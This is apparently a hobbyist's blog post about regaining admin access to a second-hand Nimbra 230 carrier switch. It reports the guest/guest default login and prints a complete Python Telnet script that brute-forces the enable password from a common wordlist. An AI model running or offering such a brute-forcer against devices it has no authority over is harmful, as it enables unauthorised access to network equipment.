Hacking the Nimbra 230: Unlocking a Carrier-Grade Switch

Recently, I picked up a used Nimbra 230 from Net Insight at a boot sale. It’s a rare and relatively undocumented piece of carrier-grade networking equipment typically used by ISPs and broadcasters for high-performance multimedia transport. These devices are manufactured by Edgecore and rebranded by Net Insight. Due to the lack of documentation, restoring access to the device required quite a bit of effort.

Understanding the Nimbra 230

The Nimbra 230 is part of a family of Media Access Network switches. They operate similarly to Layer 2/Layer 3 switches in enterprise environments but with specific features for media streaming and transport. This particular model includes both RJ45 and SFP interfaces (12/12), and supports CLI and Web UI-based management.

Unfortunately, publicly available documentation is virtually non-existent. The default login credentials had been changed on my unit, and a standard factory reset was not possible without administrative access as there is no way to reset the switch on hardware level.

Connecting to the Console

My first step was to establish a serial console connection. I connected using a standard serial cable configured to 115200 baud. Once connected, I attempted to interrupt the boot sequence using various key combinations including Ctrl+C, Ctrl+Z, Escape, Enter, and Break. None of these triggered any kind of boot menu or recovery option, indicating that the system was locked down or boot protection was enabled.

Given the appearance of the CLI, I suspected it might be based on an Edgecore ECS4120-28Fv2 CLI environment, but no known vulnerabilities or backdoor methods appeared to apply.

Identifying the Network Configuration

Next, I attempted to identify the device’s management IP. I connected the device to an isolated Ethernet network and used Wireshark to monitor traffic. The switch broadcast no usable packets, instead defaulting to an APIPA address, which didn’t help in discovering its internal services or management IP.

Gaining Guest Access

While testing default credentials over the serial console, I eventually found that the username and password combination guest/guest worked. This provided non-privileged access to the device’s command-line interface. While limited, it allowed basic reconnaissance using commands like show ?, which listed available options.

From this level of access, I was able to enumerate the device's VLANs, interfaces, and local users. This eventually led to identifying its management IP address, which allowed me to attempt access via the web interface. Unfortunately, the same guest credentials applied, and the Web UI offered no additional privileges over the CLI.

Brute Forcing the Admin Password

With no available password reset mechanism and guest access proving insufficient, I decided to brute force the administrative password. With the guest account, I managed to list other existing users, including the admin account (admin, unsurprisingly, but this certainly helped with brute forcing). I initially considered brute-forcing through the serial console, but quickly realized that the speed limitations made this approach impractical.

Instead, I shifted to Telnet, which was enabled by default. Using an automated Python script built on the telnetlib library, I logged in as guest and attempted to elevate to privileged mode using the enable command. The script would try a password from a wordlist, attempt privilege escalation, and check whether the prompt changed from > to #, indicating successful elevation.

The Brute Force Script

Below is the core of the brute-force script used to recover the admin password via Telnet. It uses a known password list and checks for a change in the prompt to detect success.

import telnetlib
import time

HOST = "192.168.125.125"
PORT = 23
USERNAME = "guest"
PASSWORD_LIST_FILE = "passwords.txt"

def try_enable_password(password):
    try:
        tn = telnetlib.Telnet(HOST, PORT, timeout=5)
        tn.read_until(b"Username:")
        tn.write(USERNAME.encode("ascii") + b"\n")
        tn.read_until(b"Password:")
        tn.write(USERNAME.encode("ascii") + b"\n")

        idx, _, _ = tn.expect([b">"], timeout=3)
        if idx == -1:
            tn.close()
            return False

        tn.write(b"enable\n")
        time.sleep(0.5)
        tn.write(password.encode("ascii") + b"\n")
        time.sleep(1)
        tn.write(b"\n")
        time.sleep(1)

        output = tn.read_very_eager().decode("utf-8", errors="ignore")

        if "#" in output:
            with open("nimbra_found_password.txt", "w") as f:
                f.write(password.strip())
            tn.close()
            return True

        tn.close()
        return False

    except Exception as e:
        return False

with open(PASSWORD_LIST_FILE, "r") as file:
    for line in file:
        pwd = line.strip()
        if try_enable_password(pwd):
            break

The wordlist used was the 100k-most-used-passwords-NCSC.txt.

The process took around five hours of continuous brute-forcing, after which a working admin password was discovered.

Post-Recovery Access

Once logged in with the recovered credentials, I was able to enter enable mode and access full administrative controls. From there, I was able to perform a factory reset, reassign IP addresses, and re-enable management features.

Final Notes

If you happen to come across a Nimbra 230 or a similar carrier-grade switch, don’t be discouraged by the lack of documentation. With some time and effort, they can be restored and repurposed for advanced homelab environments.